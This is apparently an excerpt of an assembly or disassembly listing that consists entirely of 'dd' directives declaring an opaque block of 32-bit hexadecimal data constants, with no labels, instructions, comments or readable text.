		dd 0B4496029h, 86420076h, 0B7D3FD58h, 0A14DC7ABh, 6C1A08ACh
		dd 153F0920h, 0C4C0F46Dh, 242D9FA3h, 0C3E0841Dh, 2900E4F7h
		dd 19B5AF11h, 7D22971Dh, 400F02E6h, 4494DE55h, 3908DC52h
		dd 0BA6277h, 0B29A1D1Bh, 560175D5h, 0A4EA23EFh,	0EDC505Ah
		dd 0ECECA490h, 80187054h, 62745E76h, 895C090Eh,	9E095CDAh
		dd 0E4F8C5BBh, 0C8C06723h, 0B43BE8Dh, 0BD2C0E94h, 4808C807h
		dd 0A0CB25BBh, 6E43054h, 0A9DE0298h, 0AF4BCC3Fh, 0CE44A84Fh
		dd 5972CD60h, 41F19405h, 0B0F63BEDh, 0D40FD6E1h, 0AD029A08h
		dd 4C524AA0h, 9160C43Ch, 97910564h, 4AC5EB9h, 0B40392C5h
		dd 9F27ED14h, 11CC9F4Ch, 9A8B8122h, 0E0788297h,	1AE6D500h
		dd 1FFA85EBh, 9F46DB1Dh, 0C7C90A05h, 0A1D12C83h, 4293211h
		dd 45A26C00h, 1FBAB52Ah, 0C7E9DA03h, 0A06D9B0Fh, 98961E3Eh
		dd 0B9D0EBA0h, 6E5D0066h, 70C183BBh, 29CD5ED2h,	18012136h
		dd 498E0266h, 9187890Ah, 0F62B41C3h, 0CFA030C5h, 38505B02h
		dd 54F82CBCh, 12074048h, 0D97395C3h, 38E6DB01h,	74BC7B7Ch
		dd 0FC5B2E8h, 3BAE3A69h, 11030488h, 17D7128Fh, 3039E6F8h
		dd 3B94DD50h, 0B9F7D344h, 211B00B0h, 38FF4470h,	0F4592Eh
		dd 224BA024h, 1FBA2FFCh, 1F809B11h, 31CA9FF7h, 5A47AA05h
		dd 30003AD9h, 8A700EB2h, 0E81D95E4h, 5480A291h,	8BBC6B01h
		dd 0FC7C5E0Eh, 40B08BAAh, 0B7725FCh, 1B3C0A03h,	2C414E0h
		dd 0B094B090h, 7F74674h, 2999CABCh, 0F3FA6820h,	0D58C126Ah
		dd 607CC806h, 95E2CF00h, 1AB4CAF4h, 0D6DEC566h,	0F4082E0h
		dd 3420CCF8h, 655E02DBh, 0FE434063h, 0DCE854h, 3724FD38h
		dd 988DBEBBh, 0D5966F14h, 6C8402A8h, 0D08B8143h, 0E59E27E4h
		dd 12402CCFh, 161831B2h, 46C18A97h, 61376C18h, 7520C900h
		dd 0A653595h, 0B83F50D4h, 63660969h, 0A0647B0Bh, 91A09597h
		dd 1D6E85CEh, 0A042C183h, 994C990h, 566F9AA5h, 0F208F027h
		dd 485CC313h, 35AEB980h, 9521046h, 0D6D56312h, 21916406h
		dd 61BE6E30h, 93855h, 9579FE88h, 96023C12h, 83A8B4Ah, 1012A23h
		dd 6741C835h, 1272F3E0h, 0D1609893h, 2037D758h,	66143A5Bh
		dd 4EC43954h, 228EB020h, 6E623CA1h, 8FEE2580h, 0FFB8D2C2h
		dd 2498B70Fh, 0B9BCAC7Eh, 0AEE20421h, 986A46DEh, 859516A8h
		dd 24A4A0E8h, 5122005Ch, 0D134E5BAh, 3A00ECA1h,	0ED593DE1h
		dd 5B931E4h, 4C74103Bh,	50F8B70Ch, 0EA409C54h, 806502A4h
		dd 8AC36F07h, 9398A4A0h, 0D30124E7h, 0F9CEDD75h, 6EC47007h
		dd 29A9C0C5h, 0C415ACC8h, 6AD82500h, 6283B94Fh,	5CFC525Dh
		dd 0A48EC513h, 22106548h, 257F148Ch, 9C403FA4h,	6076E95h
		dd 74083868h, 0C98F1C6h, 0EC09E90Eh, 0C371B771h, 7030B660h
		dd 0A1F0A240h, 0AC7C06B2h, 0F6794D13h, 308DB1E0h, 0D5724081h
		dd 700E98F2h, 8E88B90Ch, 0ED04296Bh, 2DE61DA0h,	9E91989Dh
		dd 2D3EE981h, 0A052EC0Bh, 71E41A52h, 298B0300h,	174122EEh
		dd 5D4A7C4Bh, 8E4E18C4h, 0C3EE887Ch, 8CF1639Bh,	0BBB84822h
		dd 4488F4Eh, 0B082A744h, 0B8DCB6FFh, 40BC04F4h,	0A8641E8Bh
		dd 8C448264h, 5F9900F5h, 9DB7B882h, 9C9F915Ch, 0D0A3E101h
		dd 7CC9DB1h, 9B854BA1h,	942C1D0h, 38303036h, 4F0C02BDh
		dd 0E73E5FD6h, 93E4660Bh, 4C5458D8h, 81CF8800h,	1FF8AF67h
		dd 0D320C379h, 2BB57810h, 262358h, 272B4A5Bh, 0B01002h
		dd 6820DB41h, 0B050F520h, 80D2D697h, 313F75D5h,	1C25EEh
		dd 43CC4124h, 853CB690h, 0BCF3A43Fh, 0DC997874h, 0C118CCD9h
		dd 67217B00h, 0E155B70Ah, 4CB7BD8Bh, 92A35700h,	0B1C8A9Ah
		dd 0A132B190h, 0DE2C740Fh, 935BC5D1h, 90C1E057h, 0D045B499h
		dd 881C04A3h, 0D0EA9773h, 0F2E14498h, 80DC2428h, 22A7B325h
		dd 0B1B80A4h, 0EA0F1CE4h, 0C03A995Dh, 0FD3E059Ch, 0CB2E03ADh
		dd 44833248h, 11C21D9h,	38C14263h, 0B5E0A824h, 0EE914017h
		dd 420DED81h, 1C097A4Ch, 905C5B39h, 388AD271h, 80CE2BC8h
		dd 29693AA4h, 0F56100C1h, 8744AD52h, 0DBF85F46h, 9BC71C1Fh
		dd 6A701547h, 2C18E9D0h, 4B109888h, 0F6E8128Bh,	66B9E000h
		dd 0F2E27D47h, 12C2EA27h, 0E0596EC7h, 9CBE9E40h, 725B6B82h
		dd 431C4AC1h, 0E978C3E0h, 0E03C3925h, 58402C50h, 0DF0B2097h
		dd 78E1BF93h, 5F043C6Ah, 3368DC00h, 0B38FC615h,	21140830h
		dd 10121A1Eh, 9923E86Ah, 28318B17h, 0BCC41B47h,	57AD07CCh
		dd 0CA343FE9h, 55E1D3Ch, 3EAFEF94h, 0F123A0h, 2DB0E5AAh
		dd 0A0983A6Fh, 28E66C20h, 0F364601Dh, 9B9420h, 447058BDh
		dd 0D4C5C684h, 0F8596CE8h, 77390454h, 0D817C28Eh, 58821CCh
		dd 94485422h, 0E90F1666h, 0C50CA40Ch, 2088985Ah, 1834203Ah
		dd 0C37F9C0Ch, 0E08996h, 60D8A3FBh, 0D5B33193h,	0F6635800h
		dd 6A64BF98h, 809B1D46h, 0AA97805Bh, 6FF2E429h,	0BC08E912h
		dd 6E070447h, 0CE7F3B80h, 7C050BE8h, 0A8449433h, 0C0DC7438h
		dd 769B7899h, 10F86054h, 0C589C2CFh, 0A816D8E2h, 5CC06853h
		dd 67D174h, 0B013D237h,	5666047Eh, 779A0D09h, 2C4850EEh
		dd 49BC9FE4h, 0DA0C9C0Bh, 0C2014018h, 41D95D55h, 38241B94h
		dd 0B13C17E9h, 22441E61h, 35701607h, 2C527708h,	80F4F46Dh
		dd 1D632A8Dh, 1200C8F5h, 8F3F7E38h, 3CC0172Dh, 1C1D0690h
		dd 6A0B4631h, 0F064039h, 1337942Ah, 99740491h, 0A96AABECh
		dd 9FF22B0h, 41144265h,	1D448458h, 0C6A90033h, 97E1D146h
		dd 0FAE4F7BEh, 0F1E90119h, 8F105FE8h, 4B3F47C5h, 441085E0h
		dd 1C88EDBCh, 0F0E54136h, 0BB1D92B2h, 0D1AC586h, 7FF81879h
		dd 2361008Dh, 0BFAD674Dh, 850015FDh, 0C2BD89E4h, 2F39DCA8h
		dd 0B08587B4h, 0E594A0D8h, 206B9781h, 0E237EB74h, 0A0252613h
		dd 8F9B0820h, 0B87E5C7Ah, 9A820509h, 0AD9FA004h, 498600F8h
		dd 64570376h, 0FD99127Ah, 0C86C055Ah, 0E87CA9F9h, 75DD00D6h
		dd 2749F6BCh, 0D700A1BEh, 0D837E53Ah, 5C767DC4h, 0E410A05Ah
		dd 8F17002Ch, 0C8183B9Fh, 540B9D95h, 817168FBh,	0EACCB0D8h
		dd 50B858D3h, 5A06310h,	0F8B3665Dh, 0EEEA20E4h,	73C8006Eh
		dd 7FECE1E9h, 0A0AED95h, 3C088545h, 6979DF40h, 3CD95863h
		dd 79D71CE0h
		dd 0F85C0438h, 9F846E05h, 14B89AC5h, 152310DCh,	0AC6CCEE1h
		dd 50910094h, 54D9E424h, 6160D42h, 74B62157h, 0FA8740B7h
		dd 0BE011F3Ah, 0EA327A88h, 4893ABD0h, 0CECCD2DEh, 9C795C79h
		dd 3418AF18h, 0FCF83BA3h, 9A1C803Ah, 71EBB804h,	0CAC242Dh
		dd 23443B5Fh, 24BB09CBh, 548564C6h, 0B60A0C4h, 0EDB0507Fh
		dd 67CEB109h, 5105965h,	935BC3BFh, 79D02AD8h, 8837F29Ah
		dd 78830877h, 0C57074E0h, 0A49FDD10h, 0D400FB3Ch, 59926BB2h
		dd 7725621h, 0CDBB5C37h, 1A0781BCh, 10732B5Dh, 409901C6h
		dd 3D10D4Bh, 9E0226Fh, 0C0429717h, 2F44122Ch, 341D272Bh
		dd 0AD8F2491h, 988449E2h, 0BA12DC60h, 0DA1C4082h, 8A754AB4h
		dd 0DEEF10CCh, 0D8889132h, 0C8642209h, 0F454F689h, 0E4167B02h
		dd 4047DD20h, 0B80FA40Ch, 0D060775Fh, 49E38E0h,	415A94C5h
		dd 29A82263h, 5C16A042h, 25465E7Ch, 72BDB805h, 318B2F9h
		dd 3DB206A6h, 91FF004h,	17F80014h, 0E0D59A5Fh, 0B35F9B1Ch
		dd 0A123F82Fh, 2164F800h, 12EC985Dh, 0A118976Eh, 958030D8h
		dd 3872E5F7h, 7F8F077Ch, 71595E1Eh, 189EF118h, 0AB930402h
		dd 82EB489Dh, 0F8F1B9BCh, 0A8C6E83h, 30EDE5C6h,	9F064000h
		dd 0E9E6BADBh, 1F539325h, 81F41154h, 0FD967B5Ah, 4745F440h
		dd 77990575h, 88C25EEDh, 0CC764378h, 0AB486F1Dh, 8FE9B140h
		dd 0EAF59F01h, 15890057h, 0E4D89A1Dh, 5D4F1E46h, 4690E0CCh
		dd 786A4BFEh, 7C35AF00h, 7FEB70DDh, 0C1DEF730h,	0E8D588D9h
		dd 9FDB272Dh, 96002864h, 66236271h, 0E247A09h, 76BD0515h
		dd 0C3609DCFh, 9A06E435h, 64023492h, 6E951040h,	6F68E165h
		dd 275D10A4h, 0B07358A7h, 781C60D0h, 0F20063F8h, 747ADE76h
		dd 268EA70h, 9A17DF8Ah,	0D056E6D2h, 0D8040E92h,	1005B7DEh
		dd 0CA00E090h, 226C7E82h, 996403F0h, 0E4DB31AEh, 8CF93F8Ah
		dd 48226505h, 9F0938FCh, 0CC54DC67h, 2B4676h, 0B7A8F849h
		dd 97B3093h, 3ACCFD94h,	65708C80h, 50B4E30Ah, 0E4C4E52Dh
		dd 292C60D2h, 0E7AC0092h, 0B50544DCh, 135AABC1h, 85A1F4C1h
		dd 0C500746Dh, 6C10B2CDh, 8B4C813Fh, 8C2BEC8Ch,	9313F600h
		dd 232212B1h, 89AD30D4h, 0DD2144C8h, 60D06487h,	98DA940h
		dd 3F95019Eh, 35445C82h, 0C34C020Bh, 30940F89h,	8CCEBCh
		dd 0A85D7121h, 0E39C404Eh, 0B8100C97h, 69226378h, 44A473ACh
		dd 0B0BCBACBh, 38C29BCh, 366EE317h, 0D2B9C639h,	2100E79Fh
		dd 0B065D143h, 0BEA2F59h, 62645EF2h, 9056CCC2h,	5D5A00DCh
		dd 0C565F1CEh, 0A004CA1Ch, 6C4B655h, 18426490h,	5C63F0FFh
		dd 0AD800C6Dh, 0A6491939h, 41002690h, 72EAAA51h, 4B2ACE4h
		dd 0A150735Ah, 0B4EC8CC3h, 1F887800h, 816B1552h, 8B9B0069h
		dd 5FFF9195h, 39008ED8h, 4632BB06h, 0BE851F40h,	0EE465E7Ch
		dd 98C2D90Ch, 570041E1h, 0AF529FBh, 6AFFEF9h, 0A3A1F064h
		dd 0BB009AF2h, 62AD2C1h, 4B16C96h, 356DE15Eh, 3020E56Eh
		dd 5718D95h, 0BDB90301h, 0F56351CDh, 4480322Bh,	0F5716051h
		dd 8B07CF18h, 699C179Bh, 0DBC1F1C4h, 1469D4EEh,	17E59811h
		dd 0A89013E9h, 1437071h, 0DE97D49Fh, 0F81D75A9h, 509A28CFh
		dd 0C4A84797h, 370A609Dh, 7B593D04h, 0C2E04C16h, 38E76F78h
		dd 0A560F644h, 0F3005444h, 0DB7338DEh, 4D220B3Ch, 7D12889Ch
		dd 4AF8A294h, 0EFE2C0A3h, 9B59730h, 5E0841EBh, 0CAA7085Bh
		dd 0FF000B4h, 31DB0A14h, 5B4109F7h, 2069E858h, 189FF617h
		dd 601D4C22h, 871C89h, 2A81CB75h, 0DA1FC2B5h, 0B0CBC94Ah
		dd 89692621h, 95A050C0h, 0CFB7C000h, 0E60295C2h, 0B687EB52h
		dd 0FABCE372h, 41B05692h, 9AD006A0h, 321DE28h, 73370E18h
		dd 39D0FD49h, 72FAE8F8h, 10DA009Dh, 0D0C59077h,	1F0452A2h
		dd 5E0E6D94h, 5F8290EDh, 0D30BBA7Ch, 0A45A70D8h, 10A08C5Ch
		dd 4748D6BAh, 0E0D85025h, 19DECD04h, 0CCAC6D0Eh, 791A40A2h
		dd 18A1595Ch, 7BCD0067h, 0FAB8F725h, 1690D7EFh,	0A80B344Fh
		dd 870E40Dh, 0EB0C5410h, 1FE48A42h, 0C880A211h,	576E7BA8h
		dd 80102C00h, 0ABC22E9Eh, 672D24Fh, 0E9DF3AFCh,	4B2CD97Ch
		dd 4BC9891h, 85DB0EB7h,	0CFBC70BCh, 67C8008Ch, 4D777DA6h
		dd 0D001BD90h, 1B523732h, 90229BC6h, 96027458h,	4D078D5Fh
		dd 2779CC51h, 580FB018h, 376E067Fh, 3C5C5804h, 0D8E4B50Bh
		dd 0D01AD90Ch, 506183Dh, 32C39975h, 4180606Eh, 0B641F794h
		dd 1E74488Bh, 0F9004CCCh, 13C31A5Dh, 0A03E42h, 96F12FCAh
		dd 404C0233h, 859E9512h, 0F6EC04ECh, 180A0F8Ch,	2F8020B7h
		dd 4077DDE9h, 0BF0E3FE2h, 0F7881A65h, 22072C7Bh, 6FA8AC67h
		dd 0ECD15EABh, 87FF3600h, 34694Bh, 720C9D3Dh, 770B646Ah
		dd 61391125h, 703D44F8h, 5CF843ACh, 0C67A0600h,	0FA5F3F8Dh
		dd 2064B8DBh, 354B9897h, 2C72049Dh, 363027B2h, 0F6C61ED1h
		dd 6465C037h, 0B63A16Ah, 2092889Ch, 74ACBCE9h, 7F0D2B00h
		dd 2DC1ACAEh, 487CF210h, 6928CC07h, 686D2588h, 0B8BCAC66h
		dd 2CA465Eh, 0A7943FE6h, 2088FAA5h, 0FCB42B68h,	6C42026Fh
		dd 5F4C003Fh, 9CB6E52Ch, 60D7A842h, 13EDF90h, 8327BD68h
		dd 839DC5A7h, 943B0E21h, 0DFB8C9E7h, 4995FDCh, 0DE444555h
		dd 0BC70FC1Bh, 6B4A8CCAh, 12FD88CCh, 0E7383042h, 0BCBC4D24h
		dd 0FC92009Bh, 4B58F2D2h, 0C8987C3Bh, 0DD264C10h, 290BA8Eh
		dd 77AC41DCh, 1B28488Fh, 996F0717h, 29B6DFF8h, 9840FC7Eh
		dd 2605DCh, 0B36C4B28h,	0B44F9EE0h, 45B6150Bh, 0A03843E6h
		dd 13656206h, 4A5127Dh,	0CA376804h, 60704C28h, 962BFD81h
		dd 41D20027h, 0C6044689h, 8A1C7543h, 1CE41383h,	81DC4008h
		dd 0A4B68065h, 0DB0293Bh, 612E1C42h, 24307F2Bh,	9808201Dh
		dd 40B82E19h, 9E8E97ECh, 43954B07h, 12849281h, 788794F0h
		dd 491461C5h, 54100AE3h, 0D78881B4h, 4BD60086h,	0D06C9BB7h
		dd 4B000323h, 0CC94D684h, 55B7159h, 454D0B7Ch, 93A4C186h
		dd 2ADA02B5h, 0DBE01EE4h, 0D4A181C3h, 0FDB845A9h, 0F8C4B860h
		dd 428802AAh, 9B9A1501h, 0A0793459h, 0B500BB18h, 3C840305h
		dd 146799F6h, 9836C80Ah, 0C8DC8B4Ah, 0D186C2CBh, 0D311185Ch
		dd 4F01624h, 470F3894h,	8C30B1Dh, 0E080A41Eh, 2F103269h
		dd 50E270B2h, 3DC847Ch,	6409B70h, 168D6C7Eh, 0C8DCCB88h
		dd 802FC522h, 7970BBA8h, 0C46E2FF9h, 59252C00h,	0A0697AD3h
		dd 73201844h, 7487011h,	0ED9D4C14h, 9C6C705Ah, 0D271E5Fh
		dd 4464C716h, 0ABE9609Bh, 77983D8Fh, 8A40EDAh, 448014CFh
		dd 7E659F96h, 0F8B2074Eh, 0F6C0AF00h, 4735C1ADh, 49A794Bh
		dd 335C92C0h, 2E044904h, 40762462h, 219EA881h, 61322980h
		dd 41B98CC7h, 0C4DFE903h, 0A32FC9E5h, 0BC859811h, 127E344Dh
		dd 0C30AA80h, 97636574h, 0D8678C1Ah, 0AA60F144h, 0FA00EA47h
		dd 66DBB58Fh, 18AE41A9h, 6803F043h, 0EB01AC0Dh,	8F82F75h
		dd 0DED2A074h, 1F0A8E94h, 0CA1C0090h, 1121044Dh, 74121703h
		dd 65BC4232h, 0DC540FE9h, 24D6D89h, 0F932BBDCh,	18F17970h
		dd 0DD8312CEh, 0DEA048FDh, 0D6818C20h, 0B2287388h, 0C4443129h
		dd 0F601C26Bh, 9FF9DE8Fh, 20BCE89Ch, 370E29E0h,	0B207A406h
		dd 97BC8C30h, 52BAA91Fh, 12CA76DCh, 0E331CEA3h,	81C5389Ch
		dd 0D637EBD9h, 0F2FB328h, 0A4169400h, 343E64D4h, 842F4AE6h
		dd 0D6002423h, 9010EAC6h, 90D95973h, 0CCF88058h, 518E08Ch
		dd 0D43A63C7h, 1340A436h
		dd 303EAB40h, 0B631DC0Eh, 97FE82C9h, 0AD91704h,	200238CCh
		dd 0E5450Eh, 5660F1E4h,	0B2049B1Ch, 6C84D59Ah, 0BF6434FBh
		dd 2623BC2Bh, 7C79F800h, 250DD632h, 0FC829A70h,	5844CE6Eh
		dd 2EC19004h, 74B8BF21h, 6DD9410h, 0C26E4AF4h, 0AF9B09E9h
		dd 0F805859h, 0F7ADD23Bh, 7B106454h, 0CD902300h, 0B6A6A57Ah
		dd 0D6C00FCFh, 0B9672869h, 68807BF7h, 5D1E17C1h, 22BDB7E2h
		dd 62854h, 404D901Dh, 0B4FFCC2Ah, 0EBC09095h, 77241h, 3CC3A606h
		dd 979A7810h, 0D0DFE235h, 0A17D74FCh, 0D1F09018h, 2D32782h
		dd 7200A858h, 0C2ACD829h, 676EA239h, 0D0DBB9C8h, 22ECFED1h
		dd 1C8DC300h, 0F5D6082Ah, 0BE0F0333h, 4957579h,	38AB9A80h
		dd 0DCF88D16h, 427DD420h, 87972094h, 9E062B00h,	2DAA8983h
		dd 455D046Eh, 0B8D599BEh, 0C04030B0h, 50C08EB9h, 0C7978486h
		dd 7AA07AB1h, 773F82DCh, 8C7EB99Ah, 4CC80895h, 0F1C231B8h
		dd 222E9510h, 22B0B90h,	3850D8h, 0B14BC43Fh, 2A5D98C2h
		dd 0B4E4E8F4h, 1A640B08h, 94A41174h, 0E8FD401Ch, 2F1657h
		dd 7E785A01h, 87A8481Ah, 5661C36Ah, 0B3B56C01h,	0BC63BC8Bh
		dd 0B33029A2h, 27EF0047h, 0ED90835Eh, 34B193C5h, 0F10BE90Bh
		dd 0B4D3A5B8h, 7AA7F70h, 580CB267h, 5A1E2192h, 81C18086h
		dd 607B5072h, 2970F013h, 0BA8D63Eh, 0C0F0D2C8h,	0F0D12099h
		dd 0C74CFC19h, 7814717Ah, 27D02214h, 79E47181h,	1F818CDh
		dd 5497671h, 2BD6348Ah,	3400D86Eh, 3B467965h, 0DF29ECE1h
		dd 0F0DE492h, 5EE2C491h, 0F546761Ch, 86176700h,	81AED783h
		dd 0B4A2704Eh, 0E3B27C00h, 5FC8D1ECh, 953D3300h, 94F7C99Bh
		dd 54524899h, 15C0303Dh, 4731ADB0h, 3A558088h, 0AA0F8C68h
		dd 0B016656Fh, 0D778AFC4h, 100DE724h, 0C1E06DADh, 0D8B8ED82h
		dd 0FB386FCEh, 0A05F128Ch, 92F14D0h, 0F16A04D0h, 0C1080611h
		dd 2AD93E30h, 95788C9Ch, 0D80A0B5h, 0E818CC5Dh,	90434F9Bh
		dd 17B442B0h, 90F80097h, 1654DEBDh, 0A166679Ah,	24DB3A50h
		dd 0D0A5EC87h, 3F796A52h, 0CB90E91Fh, 109C9A00h, 0CE9B11CFh
		dd 0AC929908h, 6619634Ch, 0EE0FF095h, 5E40BC4Eh, 50009B46h
		dd 979848F2h, 4B95C602h, 50F88D28h, 15A0815Ah, 0C7B2010Fh
		dd 5CEF08A5h, 0EEDDAD40h, 0C04909F9h, 0AC54444Fh, 91BC9D25h
		dd 8E9580F0h, 59ABB884h, 40004087h, 0D9B0DF44h,	0AC124266h
		dd 5CA9A1A7h, 38C8C1D2h, 95479BBh, 79EB0DDFh, 34956400h
		dd 0F4B224B2h, 1E3FFC30h, 0CB911449h, 0B8D33A57h, 0DE653C04h
		dd 0C8648B12h, 0E031C028h, 543D2A77h, 9CE5AE20h, 503912DEh
		dd 33DCA018h, 29045C82h, 18A0D128h, 0C2EC015Ch,	73D4C98Dh
		dd 28C870FFh, 9362D40h,	4094DEF0h, 974124DCh, 322FC362h
		dd 712BFF0Ch, 0F1161268h, 5F8041A6h, 5BB87C46h,	16006C6Eh
		dd 45B29486h, 0E702DDD9h, 0C53AEFDh, 5F410008h,	0E491D2FEh
		dd 511899F1h, 0A83BAE17h, 409E0040h, 0B85FB510h, 0D029C054h
		dd 7236355Eh, 0F2E67805h, 0C4A22115h, 9630CCE2h, 0CF74307Ch
		dd 8B671DA8h, 28ED1089h, 0AD24D42Ah, 0D72AC0FCh, 0F6E96106h
		dd 4BB00075h, 3268F726h, 7407E794h, 6993E899h, 341D583h
		dd 4137179h, 0DAFAC3D2h, 10F68DE2h, 0B0329043h,	3A2E4Fh
		dd 0C8992D5Bh, 0E4F6F1E3h, 0B83FC52Eh, 0C301113h, 1241EB2Ch
		dd 0ACDD39EEh, 8CD3BCD8h, 0B9097600h, 11AA97F5h, 895A02A8h
		dd 0D1628F38h, 1426A85Ah, 467CFCEEh, 94130328h,	0D098B243h
		dd 0BD3C0E91h, 779994A0h, 6E80D252h, 3810659Dh,	7D04A49Fh
		dd 0A61B9305h, 58E4C30Bh, 1DA479E8h, 0C08565D0h, 0AC9DA744h
		dd 0BA000345h, 84685B97h, 25A16320h, 14599A11h,	0C0A86D2Fh
		dd 0D64DAD2Eh, 442C6D95h, 220560A0h, 6E2A04FEh,	818FB95Eh
		dd 2FB8E4h, 2D0AC441h, 0F453BD2Ch, 9AF2178h, 2B51C513h
		dd 594028FCh, 0EC6E61h,	8C1CED74h, 64F08648h, 0C7AC4008h
		dd 0E0350091h, 97679441h, 64E8C79Fh, 8A4760F5h,	89CE00B3h
		dd 64F47E27h, 80AB93C2h, 0AD8492D0h, 34F9C300h,	5B3D538Fh
		dd 0C5A50C51h, 0DA49661Dh, 3C11E424h, 0D94E08h,	965B0D44h
		dd 15043FEEh, 0D04B8631h, 6D25E8ACh, 3F0858E6h,	60AE8394h
		dd 0C0B69737h, 0D1B48C4h, 487420BEh, 0C903801Ah, 0B293D943h
		dd 0BBEBD80Ah, 31160442h, 0FA5E4A19h, 95108401h, 0DC20396Ah
		dd 4714C09h, 0D01407Ah,	1C546495h, 800FC8EDh, 0FE4337B8h
		dd 0FF25B972h, 70F4DB0Dh, 5E0CB715h, 0AC806096h, 41E70953h
		dd 0B45C67EDh, 0D13851A5h, 164818CAh, 0A07B9BB8h, 40002A6Ch
		dd 0C2D8392Fh, 0DFE133Fh, 0DA3C5410h, 0C46A2BE1h, 45009A23h
		dd 3B726DE5h, 25EEE894h, 0E4640AA1h, 0E8A899D6h, 6B868880h
		dd 0DD033F9Ch, 0AC3E28E0h, 11E9B0FBh, 6F890985h, 54740A63h
		dd 102F24ACh, 5E39E06Ch, 0E09C53CCh, 21D66140h,	63808C9Bh
		dd 0BD13E95Ch, 9C3FA9C1h, 442B98FFh, 4D18B40Ch,	4C386948h
		dd 128C24BCh, 0AC77EC2Dh, 6582EB98h, 74D43842h,	7004DB25h
		dd 22011829h, 98A43916h, 0E0720164h, 35573B84h,	0E2A824EDh
		dd 70610509h, 6208143Ah, 0B299592Bh, 9DD41A55h,	0C63B10h
		dd 0E804C1E4h, 2C771A74h, 6494B84Ah, 0C18F0008h, 4A5D0221h
		dd 4EDCA34Fh, 2BF2E0E2h, 36704931h, 6F7B0067h, 0DB9689D7h
		dd 78242263h, 0CD80883Ch, 0FBD4CB3h, 0B68629DAh, 18267134h
		dd 89760232h, 6F182273h, 3802605Ah, 0FE95F2Bh, 0C4E8A9C9h
		dd 802E0098h, 0E2C58A8Fh, 410001B2h, 73C7F4F2h,	9CDAB963h
		dd 0ABB5DC14h, 9488EEBAh, 0F2465690h, 28276402h, 5EF117h
		dd 6BAF2065h, 5697012Ch, 0D540B671h, 0B2016D4h,	0AD8F9A99h
		dd 941D3089h, 9C80A291h, 0BF5FCB03h, 8B4FA60Eh,	23766037h
		dd 2FF9A14h, 3C10D399h,	0E0D60B2Ch, 284676h, 0DF0851A6h
		dd 1270A3E3h, 0B8E87594h, 1E0CC014h, 0B7167D91h, 0DC059019h
		dd 47055D8Eh, 0FE8F97BBh, 0E0724A8h, 12402F07h,	4CC05B43h
		dd 0E980CAAAh, 0C29BFABh, 0F3ADC059h, 397A70C4h, 61A66203h
		dd 0F825A534h, 14E3EE41h, 0E4354C3Ah, 70485B83h, 26E56AA1h
		dd 10400E18h, 0B0ACF2B0h, 185C3880h, 0F8BE3267h, 0BD721B00h
		dd 130E3B68h, 0B2D72A5Fh, 9AB00BA0h, 26800013h,	7B23AF27h
		dd 2C4B0E9h, 1E4CDD34h,	0CCDA8A5Ch, 4BFE3709h, 11583785h
		dd 3C1C80F3h, 50B511CCh, 7D07D45Dh, 9220F6DAh, 0DB9132F4h
		dd 9455D231h, 0B82A54CCh, 0C9166F9Eh, 6BC74EE0h, 440B0651h
		dd 807B5676h, 0D5706D8Ch, 34839508h, 9005EE7h, 0EDF3268h
		dd 4B0F0B1Eh, 0AC5C1395h, 71472520h, 0E3BB0074h, 733D29FDh
		dd 3E867803h, 0A7BF4823h, 976CD960h, 9B1B5E3Bh,	0C2558034h
		dd 1713275Ch, 45B216Dh,	205D0BCh, 4A129799h, 24E44550h
		dd 5726D634h, 3800F888h, 1CFA18EEh, 0EC14984Dh,	8878BE15h
		dd 0C625A8ABh, 0CBE709F4h, 7421B3D7h, 2A3BBC22h, 9B3BE8DDh
		dd 0D3E98028h, 50C1A631h, 409CF03Ch, 368110FBh,	6B4BA822h
		dd 8BFA0970h, 40DC5EE6h, 84BDF9C2h, 3469DB01h, 10B40A65h
		dd 0D30B2862h, 0D47BB74Bh, 5611F78h, 7F118C83h,	7734F46Dh
		dd 2092FF00h, 0D7A7C235h, 6A110024h, 0C8EAFE62h, 929523DFh
		dd 0D5BE40B8h, 9484165Ch, 0CEB40415h, 3C4C01CDh, 59060AC8h
		dd 389BB65Fh, 86FCA080h, 0EB005B08h, 0FE1283EFh, 44F8A99h
		dd 6C0EE6EDh, 0F7FCE044h, 5B777020h, 0C070DA45h, 0EC8435BDh
		dd 0CF5C4899h
		dd 0F28F1006h, 6D58D0C7h, 0F3CB81ACh, 0DB709D87h, 3DE27Eh
		dd 0F0187104h, 46EA8B0Fh, 68C351Dh, 1A0370C2h, 2F30D0ACh
		dd 14B7D041h, 61F28800h, 50A4280h, 6738B4A6h, 0CBCF1E6h
		dd 840025DCh, 74F3CC3Eh, 28FF9E40h, 4BF1D13h, 0EB95EDA4h
		dd 0C184BC6Dh, 8843A3B7h, 7110D02Ah, 0D52738ABh, 7038D346h
		dd 990E3E0Ch, 0C1B2C006h, 0E2F83BF0h, 0BED8C980h, 427015BCh
		dd 444F6877h, 0C7F01CA6h, 0C8266C6Eh, 9705FF2Eh, 8412C972h
		dd 2CEAC40Ah, 4CA4674h,	0A7AC4192h, 944044A8h, 0E176244Eh
		dd 0A29612B4h, 3A5D05A4h, 0C4A2DFCFh, 8730A0F2h, 0EAB73CCFh
		dd 76E25309h, 9F03A8F4h, 0BF6DCDh, 0ACC67C91h, 66536773h
		dd 0CC405909h, 0B78F82Fh, 60071539h, 6AB19C02h,	11141DD7h
		dd 908B829Ah, 80987E9Eh, 9B598A6Ch, 3805F2C5h, 0D84B5CDEh
		dd 568382AEh, 0AE04645Eh, 21FF943Bh, 0FD1F44ACh, 0A4E860FBh
		dd 5B91A325h, 711ED0E0h, 1CC5662Ch, 5B97E08h, 0A8207390h
		dd 679B03B0h, 0E5154DCCh, 1E346EEFh, 0E00004CFh, 92963CE9h
		dd 0D5162F97h, 0ED937827h, 0C86E2E91h, 0C6DB7800h, 0D3996088h
		dd 5A4D7632h, 58729Eh, 86BD6BC4h, 58071D89h, 0F133903h
		dd 99C33143h, 6FD8D71Fh, 87AC991Eh, 25D6ED4h, 0C08406C0h
		dd 0F25CA2DCh, 40F9309Eh, 0C6122A05h, 10C146A5h, 0B43C0783h
		dd 29430D80h, 55007D03h, 1E41A3BBh, 223EBC1h, 78DC5E26h
		dd 0E8D8E4FDh, 0DE6A9038h, 70E064F6h, 2D03EA23h, 94DF623Dh
		dd 7A459250h, 0D0F75B2Ch, 8172A140h, 348A2E00h,	70555D08h
		dd 27F490A9h, 1C4ED14Eh, 5C5B7400h, 78C3E559h, 6D70C9C4h
		dd 1300CC5Ah, 1E26C790h, 3AB0E016h, 386B0C73h, 0DC0CD4h
		dd 97877690h, 9C4BABC1h, 6B1C5E82h, 497F4404h, 998D02Ah
		dd 29F022DDh, 0C052AC5Eh, 80F48498h, 0EC95D898h, 42E5168Ch
